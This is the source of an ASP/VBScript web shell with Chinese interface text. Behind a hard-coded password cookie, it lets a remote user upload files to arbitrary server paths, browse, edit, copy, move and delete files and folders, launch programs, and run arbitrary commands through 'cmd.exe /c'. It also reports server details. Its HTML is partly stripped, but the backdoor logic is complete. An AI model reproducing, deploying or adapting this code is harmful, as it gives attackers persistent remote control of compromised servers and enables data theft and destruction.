<%@ LANGUAGE="VBSCRIPT" codepage ="936" %>
111<% if request("up")=1 then %>
<%Server.ScriptTimeOut=5000%>
<%
dim upload,file,formName,formPath,iCount
set upload=new upload_5xsoft
if upload.form("filepath")="" then
response.write "请输入要上传至的目录!"
set upload=nothing
response.end
else
formPath=upload.form("filepath")
if right(formPath,1)<>"/" then formPath=formPath&"/"
end if
iCount=0
for each formName in upload.objForm
next
response.write "
"
for each formName in upload.objFile
set file=upload.file(formName)
if file.FileSize>0 then
file.SaveAs Server.mappath(formPath&file.FileName)
response.write "
"&file.FilePath&file.FileName&" ("&file.FileSize&") => "&formPath&File.FileName&" 上传成功!"
iCount=iCount+1
end if
set file=nothing
next
set upload=nothing
response.write "
"&iCount&"个文件上传结束!"
response.write "
返回上一页"
else
url= Request.ServerVariables("URL")
'修改下面的haiyangtop.126.com改为你密码
if trim(request.form("password"))="haiyangtop.126.com" then
response.cookies("password")="allen"
response.redirect ""&url&""
else if Request.Cookies("password")<>"allen" then
call login()
response.end
end if
select case request("id")
case "edit"
call edit()
case "upload"
call upload()
case "dir"
call dir()
case else
call main()
end select
end if
sub login()
for i=0 to 25
on error resume next
IsObj=false
VerObj=""
dim TestObj
set TestObj=server.CreateObject(ObjTotest(i,0))
If -2147221005 <> Err then
IsObj = True
VerObj = TestObj.version
if VerObj="" or isnull(VerObj) then VerObj=TestObj.about
end if
ObjTotest(i,2)=IsObj
ObjTotest(i,3)=VerObj
next
%>
服务器名 |
<%=Request.ServerVariables("SERVER_NAME")%> |
服务器IP |
<%=Request.ServerVariables("LOCAL_ADDR")%> |
服务器端口 |
<%=Request.ServerVariables("SERVER_PORT")%> |
服务器时间 |
<%=now%> |
本文件绝对路径 |
<%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%> |
服务器CPU数量 |
<%=Request.ServerVariables("NUMBER_OF_PROCESSORS")%> 个 |
服务器操作系统 |
<%=Request.ServerVariables("OS")%> |
服务器运算速度测试 |
完成时间 |
Allen的电脑(521M,Athlon2200+) |
186.6 毫秒 |
中国频道虚拟主机(2002-08-06) |
610.9 毫秒 |
西部数码west263主机(2002-08-06) |
357.8 毫秒 |
<% dim t1,t2,lsabc,thetime t1=timer for i=1 to 500000 lsabc= 1 + 1 next t2=timer thetime=cstr(int(( (t2-t1)*10000 )+0.5)/10) %>您正在使用的这台服务器 |
<%=thetime%> 毫秒 |
|
<%response.write "一次只能执行一个操作:)在本页操作不需要FSO支持&当服务器时间" %>
<%response.write now()%>
<%
szCMD = Request.Form("text") '目录浏览
if (szCMD <> "") then
set shell=server.createobject("shell.application") '建立shell对象
set fod1=shell.namespace(szcmd)
set foditems=fod1.items
for each co in foditems
response.write "" & co.path & "-----" & co.size & "
"
next
end if
%>
<%
szCMD1 = Request.Form("text1") '目录拷贝,不能进行文件拷贝
szCMD2 = Request.Form("text2")
if szcmd1<>"" and szcmd2<>"" then
set shell1=server.createobject("shell.application") '建立shell对象
set fod1=shell1.namespace(szcmd2)
for i=len(szcmd1) to 1 step -1
if mid(szcmd1,i,1)="/" then
path=left(szcmd1,i-1)
exit for
end if
next
if len(path)=2 then path=path & "/"
path2=right(szcmd1,len(szcmd1)-i)
set fod2=shell1.namespace(path)
set foditem=fod2.parsename(path2)
fod1.copyhere foditem
response.write "command completed success!"
end if
%>
<%
szCMD3 = Request.Form("text3") '目录移动
szCMD4 = Request.Form("text4")
if szcmd3<>"" and szcmd4<>"" then
set shell2=server.createobject("shell.application") '建立shell对象
set fod1=shell2.namespace(szcmd4)
for i=len(szcmd3) to 1 step -1
if mid(szcmd3,i,1)="/" then
path=left(szcmd3,i-1)
exit for
end if
next
if len(path)=2 then path=path & "/"
path2=right(szcmd3,len(szcmd3)-i)
set fod2=shell2.namespace(path)
set foditem=fod2.parsename(path2)
fod1.movehere foditem
response.write "command completed success!"
end if
%>
<%
szCMD5 = Request.Form("text5") '执行程序要指定路径
szCMD6 = Request.Form("text6")
if szcmd5<>"" and szcmd6<>"" then
set shell3=server.createobject("shell.application") '建立shell对象
shell3.namespace(szcmd5).items.item(szcmd6).invokeverb
response.write "command completed success!"
end if
%>
<%end sub%>
<%sub main()
'修改下面的urlpath改为你服务器的实际URL
urlpath="
http://localhost"
dim cpath,lpath
set fsoBrowse=CreateObject("Scripting.FileSystemObject")
if Request("path")="" then
lpath="/"
else
lpath=Request("path")&"/"
end if
if Request("attrib")="true" then
cpath=lpath
attrib="true"
else
cpath=Server.MapPath(lpath)
attrib=""
end if
%>
bgColor=#b8b8b8 border=0>
height=22 colspan="4" bgcolor="#eeeeee" >切换盘符: <% For Each thing in fsoBrowse.Drives Response.write ""&thing.DriveLetter&"盘: " NEXT %> 本机局域网地址: <% Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") %><%= "//" & oScriptNet.ComputerName & "/" & oScriptNet.UserName %> |
<% if Request("attrib")="true" then response.write "点击切换到相对路径编辑模式" else response.write "点击切换到绝对路径编辑模式" end if %>绝对路径: <%=cpath%> 当前浏览目录:<%=lpath%> |
|
|
<% On Error Resume Next Set oScript = Server.CreateObject("WSCRIPT.SHELL") Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK") Set oFileSys = Server.CreateObject("Scripting.FileSystemObject") szCMD = Request.Form(".CMD") If (szCMD <> "") Then szTempFile = "C:/" & oFileSys.GetTempName( ) Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) Set oFile = oFileSys.OpenTextFile (szTempFile, 1, False, 0) End If%>
|
|
<% dim theFolder,theSubFolders if fsoBrowse.FolderExists(cpath)then Set theFolder=fsoBrowse.GetFolder(cpath) Set theSubFolders=theFolder.SubFolders Response.write"■↑回上级目录 " For Each x In theSubFolders Response.write"└■ "&x.Name&" ×删除 " Next end if %>
|
文件名 (鼠标移到文件名可以查看给文件的属性) |
大小(字节) |
文件操作 |
<% dim theFiles if fsoBrowse.FolderExists(cpath)then Set theFolder=fsoBrowse.GetFolder(cpath) Set theFiles=theFolder.Files Response.write"" For Each x In theFiles if Request("attrib")="true" then showstring=""&x.Name&"" else showstring=""&x.Name&"" end if Response.write"□"&showstring&" | "&x.size&" | 编辑 删除 复制 | " Next end if Response.write" " %>
|
<% end sub
sub edit()
if request("op")="del" then
if Request("attrib")="true" then
whichfile=Request("path")
else
whichfile=server.mappath(Request("path"))
end if
Set fs = CreateObject("Scripting.FileSystemObject")
Set thisfile = fs.GetFile(whichfile)
thisfile.Delete True
Response.write "
删除成功!要刷新才能看到效果."
else
if request("op")="copy" then
if Request("attrib")="true" then
whichfile=Request("path")
dsfile=Request("dpath")
else
whichfile=server.mappath(Request("path"))
dsfile=Server.MapPath(Request("dpath"))
end if
Set fs = CreateObject("Scripting.FileSystemObject")
Set thisfile = fs.GetFile(whichfile)
thisfile.copy dsfile
Response.write "
源文件:"+whichfile+"
"
Response.write "
目的文件:"+dsfile+""
Response.write "
复制成功!要刷新才能看到效果!"
else
if request.form("text")="" then
if Request("creat")<>"yes" then
if Request("attrib")="true" then
whichfile=Request("path")
else
whichfile=server.mappath(Request("path"))
end if
Set fs = CreateObject("Scripting.FileSystemObject")
Set thisfile = fs.OpenTextFile(whichfile, 1, False)
counter=0
thisline=thisfile.readall
thisfile.Close
set fs=nothing
end if
%>
<%else
if Request("attrib")="true" then
whichfile=Request("path")
else
whichfile=server.mappath(Request("path"))
end if
Set fs = CreateObject("Scripting.FileSystemObject")
Set outfile=fs.CreateTextFile(whichfile)
outfile.WriteLine Request("text")
outfile.close
set fs=nothing
Response.write "
修改成功!要刷新才能看到效果!"
end if
end if
end if
end sub
end if
%>
<% sub dir()
if request("op")="del" then
if Request("attrib")="true" then
whichdir=Request("path")
else
whichdir=server.mappath(Request("path"))
end if
Set fs = CreateObject("Scripting.FileSystemObject")
fs.DeleteFolder whichdir,True
Response.write "
删除成功!要刷新才能看到效果,删除的目录为:"&whichdir&""
else
if request("op")="creat" then
if Request("attrib")="true" then
whichdir=Request("path")
else
whichdir=server.mappath(Request("path"))
end if
Set fs = CreateObject("Scripting.FileSystemObject")
fs.CreateFolder whichdir
Response.write "
建立成功!要刷新才能看到效果,建立的目录为:"&whichdir&""
end if
end if
end sub
%>